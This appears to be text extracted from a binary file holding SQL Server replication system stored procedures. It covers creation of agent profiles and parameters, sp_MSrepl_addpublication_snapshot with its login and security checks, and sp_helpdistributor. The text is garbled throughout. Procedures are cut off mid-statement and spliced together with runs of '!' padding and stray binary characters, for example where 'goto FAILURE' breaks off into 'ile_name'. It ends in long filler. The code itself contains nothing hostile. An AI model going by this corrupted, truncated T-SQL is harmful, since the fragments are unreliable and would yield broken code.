                @parameter_name = '-StartQueueTimeout',
                @parameter_value = '0'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-MaxDownloadChanges',
                @parameter_value = '0'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-MaxUploadChanges',
                @parameter_value = '0'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-ValidateInterval',
                @parameter_value = '60'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-LoginTimeout',
                @parameter_value = '15'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-QueryTimeout',
                @parameter_value = '600'        
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-UploadGenerationsPerBatch',
                @parameter_value = '500'
        if (@retcode = 1 or @@ERROR <> 0)
            go!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(P'b3bvUile_name = formatmessage(20546) -- LogReader Verbose History Profile
    set @profile_desc = formatmessage(20547)

    exec @retcode = sys.sp_add_agent_profile
            @profile_id = @profile_id OUT,
            @profile_name = @profile_name,
            @agent_type = 2,   -- 1-Snapshot, 2-Logreader, 3-Distribution, 4-Merge
            @profile_type = 0,   -- 0-System, 1-Custom 
            @description = @profile_desc,
            @default = 0
    if (@retcode = 1 or @@ERROR <> 0)
        goto FAILURE

    exec @retcode = sys.sp_generate_agent_parameter @profile_id
    if (@retcode = 1 or @@ERROR <> 0)
        goto FAILURE

    /* 
    ** Distribution agent 
    */
    set @profile_id = NULL
    set @profile_name = formatmessage(20545) -- Default Distribution Profile
    set @profile_desc = NULL

    exec @retcode = sys.sp_add_agent_profile
            @profile_id = @profile_id OUT,
            @profile_name = @profile_name,
            @agent_type = 3,   -- 1-Snapshot, 2-Logreader, 3-Distribution, 4-Merge
            @profile_type = 0,   -- 0-System, 1-Custom 
            @description = @profile_desc,
            @default = 1
    if (@retcode = 1 or @@ERROR <> 0)
        goto FAILURE

    exec @retcode = sys.sp_generate_agent_parameter @profile_id
    if (@retcode = 1 or @@ERROR <> 0)
        goto FAILURE

    /*
    ** Distribution Agent Verbose History Profile
    */
    set @profile_id = NULL
    set @profile_name = formatmessage(20546) -- Distribution Verbose History Profile
    set @profile_desc = formatmessage(20547)

    exec @retcode = sys.sp_add_agent_profile
            @profile_id = @profile_id OUT,
            @profile_name = @profile_name,
            @agent_type = 3,   -- 1-Snapshot, 2-Logreader, 3-Distribution, 4-Merge
            @profile_type = 0,   -- 0-System, 1-Custom 
            @description = @profile_desc,
            @default = 0
    if (@retcode = 1 or @@ERROR <> 0)
        goto FAILURE

    exec @retcode = sys.sp_generate_agent_parameter @profile_id
    if (@retcode = 1 or @@ERROR <> 0)
        goto FAILURE
 
    /* 
    ** Merge agent : Default profile for well connected scenarios 
    */
    set @profile_id = NULL
    set @profile_name = formatmessage(20545) -- Default Merge Profile
    set @profile_desc = NULL

    exec @retcode = sys.sp_add_agent_profile
            @profile_id = @profile_id OUT,
            @profile_name = @profile_name,
            @agent_type = 4,   -- 1-Snapshot, 2-Logreader, 3-Distribution, 4-Merge
            @profile_type = 0,   -- 0-System, 1-Custom 
            @description = @profile_desc,
            @default = 1

    if (@retcode = 1 or @@ERROR <> 0)
        goto FAILURE

    exec @retcode = sys.sp_generate_agent_parameter @profile_id
    if (@retcode = 1 or @@ERROR <> 0)
        goto FAILURE

    /* 
    ** Merge agent : Non default profile for disconnected scenarios ( unreliable link ) 
    */
    set @profile_id = NULL
    set @profile_name = formatmessage(20548) -- Non-Default Merge Profile
    set @profile_desc = formatmessage(20549)

    exec @retcode = sys.sp_add_agent_profile
            @profile_id = @profile_id OUT,
            @profile_name = @profile_name,
            @agent_type = 4,   -- 1-Snapshot, 2-Logreader, 3-Distribution, 4-Merge
            @profile_type = 0,   -- 0-System, 1-Custom 
            @description = @profile_desc,
            @default = 0

    if (@retcode = 1 or @@ERROR <> 0)
        goto FAILURE

    exec @retcode = sys.sp_generate_agent_parameter @profile_id
    if (@retcode = 1 or @@ERROR <> 0)
        goto FAILURE

    /* 
    ** Merge agent : Non default profile for verbose histroy
    */
    set @profile_id = NULL
    set @profile_name = formatmessage(20546) -- Verbose Merge Profile
    set @profile_desc = formatmessage(20547)

    exec @retcode = sys.sp_add_agent_profile
            @profile_id = @profile_id OUT,
            @profile_name = @profile_name,
            @agent_type = 4,   -- 1-Snapshot, 2-Logreader, 3-Distribution, 4-Merge
            @profile_type = 0,   -- 0-System, 1-Custom 
            @description = @profile_desc,
            @default = 0

    if (@retcode = 1 or @@ERROR <> 0)
        goto FAILURE

    exec @retcode = sys.sp_generate_agent_parameter @profile_id
    if (@retcode = 1 or @@ERROR <> 0)
        goto FAILURE

    /* 
    ** Merge agent : Synchronization Manager Profile
    */
    set @profile_id = NULL
    set @profile_name = N'Windows Synchronization Manager profile' -- SyncMgr Profile
    set @profile_desc = formatmessage(20551)

    exec @retcode = sys.sp_add_agent_profile
            @profile_id = @profile_id OUT,
            @profile_name = @profile_name,
            @agent_type = 4,   -- 1-Snapshot, 2-Logreader, 3-Distribution, 4-Merge
            @profile_type = 0,   -- 0-System, 1-Custom 
            @description = @profile_desc,
            @default = 0

    if (@retcode = 1 or @@ERROR <> 0)
        goto FAILURE

    exec @retcode = sys.sp_generate_agent_parameter @profile_id
    if (@retcode = 1 or @@ERROR <> 0)
        goto FAILURE

    /* 
    ** Distribution agent : Synchronization Manager Profile
    */
    set @profile_id = NULL
    set @profile_name = N'Windows Synchronization Manager profile' -- SyncMgr Profile
    set @profile_desc = formatmessage(20551)

    exec @retcode = sys.sp_add_agent_profile
            @profile_id = @profile_id OUT,
            @profile_name = @profile_name,
            @agent_type = 3,   -- 1-Snapshot, 2-Logreader, 3-Distribution, 4-Merge
            @profile_type = 0,   -- 0-System, 1-Custom 
            @description = @profile_desc,
            @default = 0

    if (@retcode = 1 or @@ERROR <> 0)
        goto FAILURE

    exec @retcode = sys.sp_generate_agent_parameter @profile_id
    if (@retcode = 1 or @@ERROR <> 0)
        goto FAILURE

    /* 
    ** Qreader agent (default profile)
    */
    set @profile_id = NULL
    set @profile_name = formatmessage(20545) -- Default QueueReader Profile
    set @profile_desc = formatmessage(20589)

    exec @retcode = sys.sp_add_agent_profile
            @profile_id = @profile_id OUT,
            @profile_name = @profile_name,
            @agent_type = 9,
            @profile_type = 0, 
            @description = @profile_desc,
            @default = 1
    if (@retcode = 1 or @@ERROR <> 0)
        goto FAILURE

    exec @retcode = sys.sp_generate_agent_parameter @profile_id
    if (@retcode = 1 or @@ERROR <> 0)
        goto FAILURE

    /* 
    ** Merge agent : Rowcount Validation profile  
    */
    set @profile_id = NULL
    set @profile_name = formatmessage(21308) -- Rowcount Validation Profile
    set @profile_desc = formatmessage(21309) -- Rowcount Validation Profile Description

    exec @retcode = sys.sp_add_agent_profile
            @profile_id = @profile_id OUT,
            @profile_name = @profile_name,
            @agent_type = 4,   -- 1-Snapshot, 2-Logreader, 3-Distribution, 4-Merge
            @profile_type = 0,   -- 0-System, 1-Custom 
            @description = @profile_desc,
            @default = 0

    if (@retcode = 1 or @@ERROR <> 0)
        goto FAILURE

    exec @retcode = sys.sp_generate_agent_parameter @profile_id
    if (@retcode = 1 or @@ERROR <> 0)
        goto FAILURE

    /* 
    ** Merge agent : Rowcount & Checksum Validation profile  
    */
    set @profile_id = NULL
    set @profile_name = formatmessage(21310) -- Rowcount & Checksum Validation Profile
    set @profile_desc = formatmessage(21311) -- Rowcount & Checksum Validation Profile Description

    exec @retcode = sys.sp_add_agent_profile
            @profile_id = @profile_id OUT,
            @profile_name = @profile_name,
            @agent_type = 4,   -- 1-Snapshot, 2-Logreader, 3-Distribution, 4-Merge
            @profile_type = 0,   -- 0-System, 1-Custom 
  !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(Q'lv}create procedure sys.sp_MSrepl_addpublication_snapshot
(
    @publication					sysname,    
    @frequency_type					int,
    @frequency_interval				int,
    @frequency_subday				int,
    @frequency_subday_interval		int,
    @frequency_relative_interval	int,
    @frequency_recurrence_factor	int,
    @active_start_date				int,
    @active_end_date				int,
    @active_start_time_of_day		int,
    @active_end_time_of_day			int,
    @snapshot_job_name				nvarchar(100),
	@publisher_security_mode		int,
	@publisher_login				sysname,
	@publisher_password 			sysname,
	@job_login 						nvarchar(257),
	@job_password 					sysname,
	@publisher						sysname,
	@publisher_type					sysname
)
AS
    SET NOCOUNT ON

    /*
    ** Declarations.
    */
    DECLARE @retcode                int
    DECLARE @newid                  int
    DECLARE @mergepublish_bit       smallint
    DECLARE @transpublish_bit       int
    DECLARE @transpub_found         bit
    DECLARE @mergepub_found         bit
    DECLARE @newagentid             int
    DECLARE @dbname					sysname
    DECLARE @publisher_local		sysname

    /*
    ** Initializations
    */
    select @mergepublish_bit    = 4
    select @transpublish_bit    = 1
    select @transpub_found      = 0
    select @mergepub_found      = 0
    select @dbname				= db_name()
    
    /*
    ** Parameter Check
    */
    exec @retcode = sys.sp_MSreplcheck_name @publication, '@publication', 'sp_MSrepl_addpublication_snapshot'
    if @@ERROR <> 0 or @retcode <> 0
        return(1)

    /*
    ** Security Check
    */
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return(1)

	-- ensure that we are published and then go to work
	IF sys.fn_MSrepl_ispublished(@dbname) != 1
	BEGIN
		-- The database is not published.
		RAISERROR (18757, 16, -1)
		RETURN 1
	END
	
	-- SQLSERVER
	IF @publisher_type = N'MSSQLSERVER'
	BEGIN
		-- if @pub_sec_mode is NULL default it to Windows Auth.
		SELECT @publisher_security_mode = ISNULL(@publisher_security_mode, 1)
		
		-- check security mode
	    IF @publisher_security_mode NOT IN (0, 1)
	    BEGIN
			-- The specified '@publisher_security_mode' is invalid (valid values are: 0, 1).
			RAISERROR(14266, 16, -1, '@publisher_security_mode', '0, 1')
			RETURN 1
	    END

	    -- Check to ensure a login is provided if security mode is SQL Server authentication.
		SELECT @publisher_login = rtrim(ltrim(isnull(@publisher_login, '')))
		IF @publisher_security_mode = 0 AND @publisher_login = ''
		BEGIN
			-- '@publisher_login cannot be null or empty when @publisher_security_mode is set to 0 (SQL Server authentication).'
			RAISERROR(21694, 16, -1, '@publisher_login', '@publisher_security_mode')
			RETURN 1
		END
	END
	-- HETERO
	ELSE
	BEGIN
		IF @publisher_security_mode IS NOT NULL
			OR @publisher_login IS NOT NULL
			OR @publisher_password IS NOT NULL
		BEGIN
			-- For heterogeneous publications, the @publisher_security_mode, @publisher_login and @publisher_password parameter(s) should be specified when calling 'sp_adddistpublisher'.
			RAISERROR(22535, 16, -1, '@publisher_security_mode, @publisher_login and @publisher_password', 'sp_adddistpublisher')
			RETURN 1
		END
	END

	-- if we do not require yukon security then check paramters.
	IF sys.fn_yukonsecuritymodelrequired(NULL) = 0
	BEGIN
		IF @job_login IS NULL
		BEGIN
			IF @job_password IS NOT NULL
			BEGIN
				-- Parameter '@job_login' can be set to 'NULL' only when '@job_password' is set to 'NULL'.
				RAISERROR(21678, 16, -1, '@job_login', 'NULL', '@job_password', 'NULL')
				RETURN 1
			END
		END
		ELSE
		BEGIN
			IF @job_password IS NULL
			BEGIN
				-- Parameter '@job_password' can be set to 'NULL' only when '@job_login' is set to 'NULL'.
				RAISERROR(21678, 16, -1, '@job_password', 'NULL', '@job_login', 'NULL')
				RETURN 1
			END

			IF sys.fn_replisvalidwindowsloginformat(@job_login) != 1
			BEGIN
				-- '@job_login' must be a valid Windows Login in the form : 'MACHINE\Login' or 'DOMAIN\Login'. Please see the documentation for 'sp_addpublication_snapshot'.
				RAISERROR(21797, 16, -1, '@job_login', 'sp_addpublication_snapshot')
				RETURN 1
			END
		END
	END
	-- if yukon sec required then a valid windows login/password is required
	ELSE
	BEGIN
		IF @job_login IS NULL
			OR @job_password IS NULL
		BEGIN
			-- Only members of the sysadmin fixed server role can perform this operation without specifying @job_login or @job_password.
			RAISERROR(21832, 16, -1, '@job_login or @job_password')
			RETURN 1
		END

		IF sys.fn_replisvalidwindowsloginformat(@job_login) != 1
		BEGIN
			-- '@job_login' must be a valid Windows Login in the form : 'MACHINE\Login' or 'DOMAIN\Login'. Please see the documentation for 'sp_addpublication_snapshot'.
			RAISERROR(21797, 16, -1, '@job_login', 'sp_addpublication_snapshot')
			RETURN 1
		END
	END

	BEGIN TRANSACTION tr_addsnapshot_agent
	SAVE TRANSACTION tr_addsnapshot_agent 
	
    /*
    **  Check if the publication is valid.
    **  1. Check transaction-level publications
    **  2. Check merge publications
    */
    if ((select category & @transpublish_bit from master.dbo.sysdatabases where name = DB_NAME() collate database_default) <> 0) or
		(not @publisher_type = N'MSSQLSERVER')
    begin
        EXEC @retcode = sys.sp_MSaddpub_snapshot
								@publication = @publication,    
					            @freqtype = @frequency_type,  
					            @freqinterval = @frequency_interval, 
					            @freqsubtype = @frequency_subday, 
					            @freqsubinterval = @frequency_subday_interval,
					            @freqrelativeinterval = @frequency_relative_interval, 
					            @freqrecurrencefactor = @frequency_recurrence_factor, 
					            @activestartdate = @active_start_date, 
					            @activeenddate = @active_end_date, 
					            @activestarttimeofday = @active_start_time_of_day, 
					            @activeendtimeofday = @active_end_time_of_day,         
					            @newagentid = @newagentid OUTPUT,
					            @snapshot_job_name = @snapshot_job_name,
								@publisher_security_mode = @publisher_security_mode,
								@publisher_login = @publisher_login,
								@publisher_password = @publisher_password,
								@job_login = @job_login,
								@job_password = @job_password,
								@publisher = @publisher
        IF @retcode <> 0 OR @@ERROR <> 0 
            GOTO UNDO

        if @newagentid <> 0
        begin
            select @transpub_found = 1
            goto DONE
        end
    end
    
    if (select category & @mergepublish_bit from master.dbo.sysdatabases where name = DB_NAME() collate database_default) <> 0
    begin
        EXEC @retcode = sys.sp_MSaddmergepub_snapshot
					        	@publication = @publication ,    
					            @freqtype = @frequency_type,  
					            @freqinterval = @frequency_interval, 
					            @freqsubtype = @frequency_subday, 
					            @freqsubinterval = @frequency_subday_interval,
					            @freqrelativeinterval = @frequency_relative_interval, 
					            @freqrecurrencefactor = @frequency_recurrence_factor, 
					            @activestartdate = @active_start_date, 
					            @activeenddate = @active_end_date, 
					            @activestarttimeofday = @active_start_time_of_day, 
					            @activeendtimeofday = @active_end_time_of_day,         
					            @newtaskid = @newagentid OUTPUT,
					            @snapshot_job_name = @snapshot_job_name,
					            @publisher_security_mode = @publisher_security_mode,
								@publisher_login = @publisher_login,
								@publisher_password = @publisher_password,
								@job_login = @job_login,
								@job_password = @job_password

        IF @retcode <> 0 OR @@ERROR <> 0 
            GOTO UNDO

        if @newagentid <> 0
    !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(R(Jvy
--
-- Name:
--		sp_helpdistributor
--
-- Description:
--		Procedure used to obtain distributor information.
--
-- Returns:
--		0 == SUCCESS
--		1 == FAILURE
--              Several output parameters or result set
--
-- Security:
--		limited public access
-- Requires Certificate signature for catalog access
--
-- Notes:
--		This is a public stored procedure used to gather general
--              distributor information.  It can be run on a publisher or
--              a subscriber that has a sysservers entry for the distributor.
--
--		Four output parameters are accessible with public access:
--
--			@distributor		Distribution server name
--			@distribdb			Distribution database
--			@rpcsrvname			rpc server name		
--			@publisher_type		Publisher type
--
--              One output parameter requires PAL access to a publication 
--              associated with the publisher.
--
--			@directory		Working directory
--
--		The remaining six output parameters require elevated authorization.
--		'sysadmin' has access to all results, from any database, at a server
--		with a sysservers entry identifying the distributor.  Access is also
--		extended to a 'db_owner' running in a publishing database at a
--		publisher
--
--			@account		SQL Server Agent login
--			@min_distretention	min distribution retention
--			@max_distretention	max distribution retention
--			@history_retention	history retention period
--			@history_cleanupagent	history cleanup agent
--			@distrib_cleanupagent	distribution cleanup agent
--
--              Parameters that the current user is not authorized to access are
--		returned as NULLs, both as output parameters and as columns in the
--		returned result set.
--          
create procedure sys.sp_helpdistributor (
	@distributor sysname  = '%' OUTPUT, /* The distribution server name */
	@distribdb   sysname  = '%' OUTPUT, /* The distribution database */
	@directory   nvarchar(255) = '%' OUTPUT, /* The working directory */
	@account     nvarchar(255) = '%' OUTPUT, /* The Windows NT user account */
	@min_distretention int      = -1 OUTPUT, /* The min distribution retention */
	@max_distretention int      = -1 OUTPUT, /* The max distribution retention */
	@history_retention   int  = -1 OUTPUT, /* The history retention period */
	@history_cleanupagent nvarchar(100) = '%' OUTPUT, /* The history cleanup agent */
	@distrib_cleanupagent nvarchar(100) = '%' OUTPUT, /* The distribution cleanup agent */
	@publisher sysname = NULL,  /* Name of publisher */
	@local nvarchar(5) = NULL,        /* Get local server values */
	@rpcsrvname sysname = '%' OUTPUT,
	@publisher_type sysname = '%' OUTPUT
) 
AS
BEGIN

	SET NOCOUNT ON

	/*
	** Declarations.
	*/
	DECLARE @loc_distributor         sysname
	DECLARE @loc_distribdb             sysname
	DECLARE @loc_directory             nvarchar(255)
	DECLARE @loc_account             nvarchar(255)
	DECLARE @loc_mindistretention     int
	DECLARE @loc_maxdistretention     int
	DECLARE @loc_historyretention   int  
	DECLARE @loc_historycleanupagent nvarchar(100)
	DECLARE @loc_distribcleanupagent nvarchar(100)
	DECLARE @loc_security_mode  int  
	DECLARE @loc_login sysname
	DECLARE @loc_password sysname
	declare @loc_rpcsrvname sysname
	DECLARE @loc_publishertype sysname
	DECLARE @proc nvarchar(255)
	DECLARE @retcode int
	declare @rpcsrvlogin sysname
	declare @srvid smallint
	declare @dist_rpcname sysname
	declare @platform_nt binary
	declare @has_dbowner_access bit
	declare @has_PAL_access bit
	declare @login sysname
	
	select @has_dbowner_access = 1
	select @has_PAL_access = 1
	select @platform_nt = 0x1
	select @login = suser_sname(suser_sid())

	--
	-- processing for publisher
	--
	IF @publisher IS NULL
	BEGIN
	    /* 
	    ** 6.x compatibility 
	    ** If local is set, we know the call is from a publisher. 
	    ** set it to be @@REMSERVER 
	    ** Otherwise, set it to be local server name
	    ** Note: @@REMSERVER is NULL for local sp calls 
	    */
	    IF LOWER(@local) = 'local' AND @@REMSERVER IS NOT NULL
	        SELECT @publisher = @@REMSERVER
	    ELSE
	        SELECT @publisher = publishingservername()
	END
	--
	-- Set attribute indicating whether user is 'db_owner'.  
	--
	if LOWER(@local) <> 'local' or @local is NULL
	begin
            -- Determine whether user has dbowner access
            if not ((is_srvrolemember('sysadmin') = 1) or
                        (is_member('db_owner') = 1 and
                        sys.fn_MSrepl_ispublished(db_name()) = 1)
            )
            begin
                select @has_dbowner_access = 0

                -- Setting @loc_account to '%' prevents reading the registry for the
                -- account information at a remote distributor if user isn't authorized.
                select @loc_account = '%'
            end
	end	

	/*
	** Get the distribution server
	*/
	SELECT	@dist_rpcname = srvname,
			@loc_distributor = datasource,
			@srvid = srvid,
			@loc_rpcsrvname = srvname
	FROM	master.dbo.sysservers
	WHERE	srvstatus & 8 <> 0

	if @loc_distributor is null
	    GOTO DONE

	select @rpcsrvlogin = null
	-- sysoledbusers is for outgoing rpc servers only so it should be 
	-- appropriate for querying the remote login of the distributor link. But 
	-- as a safety measure, we will query sysremotelogins (for incoming RPC 
	-- calls) if no remote login is returned from sysoledbusers to maintain 
	-- full compatibility with the sysxlogins query that we used before. 
	select	@rpcsrvlogin = rmtloginame
	from	master.dbo.sysoledbusers
	where	rmtsrvid = @srvid and loginsid is NULL 

	if @rpcsrvlogin is null
	begin
	    select	@rpcsrvlogin = remoteusername 
		from	master.dbo.sysremotelogins 
		where	remoteserverid = @srvid and sid is NULL 
	end

	/*
	** If remote distribuiton, execute sys.sp_helpdistributor on distribution
	** server.
	*/
	IF UPPER(@loc_distributor) <> UPPER(@@SERVERNAME)
	BEGIN
		SELECT @proc = @dist_rpcname + '.master.sys.sp_helpdistributor'
		--
		-- from publisher
		--
		EXECUTE @retcode = @proc
			@loc_distributor OUTPUT,
			@loc_distribdb OUTPUT,
			@loc_directory OUTPUT,
			@loc_account OUTPUT,
			@loc_mindistretention OUTPUT,
			@loc_maxdistretention OUTPUT,
			@loc_historyretention OUTPUT,
			@loc_historycleanupagent OUTPUT,
			@loc_distribcleanupagent OUTPUT,
			@@SERVERNAME,
			@local = 'local',
			@publisher_type = @loc_publishertype OUTPUT
		IF @retcode <> 0 or @@ERROR <> 0
			RETURN (1)

		GOTO DONE
	END
	--
	-- validate the calling publisher
	--
	SELECT 	@loc_distribdb = distribution_db,
			@loc_directory = working_directory,
			@loc_publishertype = publisher_type
	FROM	msdb.dbo.MSdistpublishers
	WHERE	UPPER(name collate database_default ) = UPPER(@publisher) collate database_default 
	IF @@ERROR <> 0
	    RETURN 1 

	-- 
	-- If distribution db is NULL, there is no matching distributor.
	-- This typically would happen when calling on a distributor that
	-- only has HREPL publishers.  This case should result in no output
	--
	IF (@loc_distribdb IS NULL)
	BEGIN
		RETURN (0)
	END
	
	-- Security.  Connection to remote distributor must have 'sysadmin' or 'db_owner' 
	-- in distribution database authorization. This prevents user from bypassing
	-- security checks by explicitly setting 'local' parameter in the call.  
	if LOWER(@local) = 'local'
	begin
		exec @retcode = sys.sp_MSrepl_isdbowner @loc_distribdb
		if @retcode <> 1 or @@error <> 0
			RETURN (1)
	end

	SELECT  @loc_mindistretention = min_distretention,      
	        @loc_maxdistretention = max_distretention,
	        @loc_historyretention = history_retention
	FROM	msdb.dbo.MSdistributiondbs
	WHERE	name = @loc_distribdb collate database_default 

	/*
	** Fetch the distribution account name.
	*/
	IF ((@distributor = '%' AND @distribdb = '%' AND @directory = '%'
		AND @account = '%' AND @min_distretentio!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<z	S(A$yn = -1 AND @max_distretention = -1 
		AND @history_retention = -1 AND @history_cleanupagent = '%' 
		AND @distrib_cleanupagent = '%' AND @publisher_type = '%' AND @rpcsrvname = '%' ) 
		OR @account IS NULL) and ( platform() & @platform_nt = @platform_nt ) and ( @has_dbowner_access = 1 )
	BEGIN
		declare @instance sysname
		declare @regkey nvarchar(260)
		-- not changing for instapi work. hardcoding this path
		select @instance = convert(sysname, SERVERPROPERTY('InstanceName'))
		select @regkey = 'SYSTEM\CurrentControlSet\Services\'
		-- default installation
		if @instance is null
		    SELECT @regkey = @regkey + 'SQLServerAgent' 
		else
		    SELECT @regkey = @regkey + 'SQLAgent$' + @instance

		SELECT @proc = 'master.dbo.xp_regread'
		EXECUTE @retcode = @proc 'HKEY_LOCAL_MACHINE',
		      @regkey,
		      'ObjectName',
		    @param = @loc_account OUTPUT
		IF @@ERROR <> 0 OR @retcode <> 0
		    SELECT @loc_account = NULL
	END

	/*
	** Fetch the history cleanup agentname.
	*/
	IF @loc_distribdb IS NOT NULL
	    SELECT @loc_historycleanupagent = formatmessage (20567, @loc_distribdb)

	/*
	** Fetch the distribution cleanup agent name.
	*/
	IF @loc_distribdb IS NOT NULL
	    SELECT @loc_distribcleanupagent = formatmessage (20568, @loc_distribdb)


	DONE:

	/*
	** If user does not have 'db_owner' authorization, NULL restricted return parameters.  
	*/
	if @has_dbowner_access = 0
	begin
		select @loc_account = NULL
		select @loc_mindistretention = NULL
		select @loc_historyretention = NULL
		select @loc_historycleanupagent = NULL
		select @loc_distribcleanupagent = NULL
		select @rpcsrvlogin = NULL
	end

	/*
	** If @directory is to be returned and user does not have 'db_owner' access, check for PAL access.  
	*/
	IF ((@distributor = '%' AND @distribdb = '%' AND @directory = '%'
		AND @account = '%' AND @min_distretention = -1 AND @max_distretention = -1 
		AND @history_retention = -1 AND @history_cleanupagent = '%' 
		AND @distrib_cleanupagent = '%' AND @rpcsrvname = '%' and @publisher_type = '%')
		OR ( @directory is NULL ))
		AND ( LOWER(@local) <> 'local' or @local is NULL )
		AND ( @has_dbowner_access = 0 )
		AND (@loc_rpcsrvname is not null and @loc_distribdb is not null)
	begin
		-- Check to determine whether the current user is in the PAL
		-- of any publication that makes use of this publisher.
       		create table #pub (publisher_db sysname, publication sysname)

       		SELECT @proc = RTRIM(@loc_rpcsrvname) + '.' + RTRIM(@loc_distribdb) + '.sys.sp_MSpublication_access'
       		INSERT into #pub (publisher_db, publication)
       		EXEC @retcode =	@proc
			 @publisher	= @publisher,
			 @operation	= N'get_publications',
			 @login		= @login
   
       		if not exists (select * from #pub)
               		select @loc_directory = NULL
 	end

	/*
	** Return result set if no output parameters
	*/

	IF (@distributor = '%' AND @distribdb = '%' AND @directory = '%'
			AND @account = '%' AND @min_distretention = -1 AND @max_distretention = -1 
			AND @history_retention = -1 AND @history_cleanupagent = '%' 
			AND @distrib_cleanupagent = '%' AND @rpcsrvname = '%' and @publisher_type = '%')
	SELECT	'distributor'				 = @loc_distributor,
			'distribution database'		 = @loc_distribdb,
			'directory'				 = @loc_directory,
			'account'					 = @loc_account,
			'min distrib retention'		 = @loc_mindistretention,
			'max distrib retention'		 = @loc_maxdistretention,
			'history retention'			 = @loc_historyretention,
			'history cleanup agent'		 = @loc_historycleanupagent,
			'distribution cleanup agent' = @loc_distribcleanupagent,
			'rpc server name' = @loc_rpcsrvname,
			'rpc login name' = @rpcsrvlogin,
			'publisher type' = @loc_publishertype

	/*
	** Return output parameters if requested.
	*/

	IF @distributor IS NULL
	    SELECT @distributor = @loc_distributor
	IF @distribdb IS NULL
	    SELECT @distribdb = @loc_distribdb
	IF @directory IS NULL
	    SELECT @directory = @loc_directory
	IF @account IS NULL
	    SELECT @account = @loc_account
	IF @min_distretention IS NULL
	    SELECT @min_distretention = @loc_mindistretention
	IF @max_distretention IS NULL
	    SELECT @max_distretention = @loc_maxdistretention
	IF @history_retention IS NULL
	    SELECT @history_retention = @loc_historyretention
	IF @history_cleanupagent IS NULL
	    SELECT @history_cleanupagent = @loc_historycleanupagent
	IF @distrib_cleanupagent IS NULL
	    SELECT @distrib_cleanupagent = @loc_distribcleanupagent
	IF @publisher_type IS NULL
		SELECT @publisher_type = @loc_publishertype

	IF @rpcsrvname IS NULL
	BEGIN
		--
		-- BUGBUG : The value for @rpcsrvname must match the value returned by 
	    --			sp_MSrepl_getdistributorinfo or we will see indefinite blocking  
	    --			in some areas of our code. Example-incremental add article. So 
	    -- 			if you make a change here make it in sp_MSrepl_getdistributorinfo
		--
		-- For the following cases use LOCAL SERVER NAME
		-- 	1. Hetero will always use local server
		-- 	2. Local distributor with sysadmin access (used to avoid blocking issues)
		IF @loc_publishertype != N'MSSQLSERVER' 
    		OR (IS_SRVROLEMEMBER('sysadmin') = 1 
    			AND UPPER(@loc_distributor) = UPPER(@@SERVERNAME))
    	BEGIN
			SELECT @rpcsrvname = srvname
				FROM master.dbo.sysservers
				WHERE UPPER(srvname collate database_default ) = UPPER(@loc_distributor)
    	END
    	-- Remote distributor or local with non-sysadmin rights
    	ELSE
    	BEGIN
			SELECT @rpcsrvname = @loc_rpcsrvname
		END
	END

	RETURN (0)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!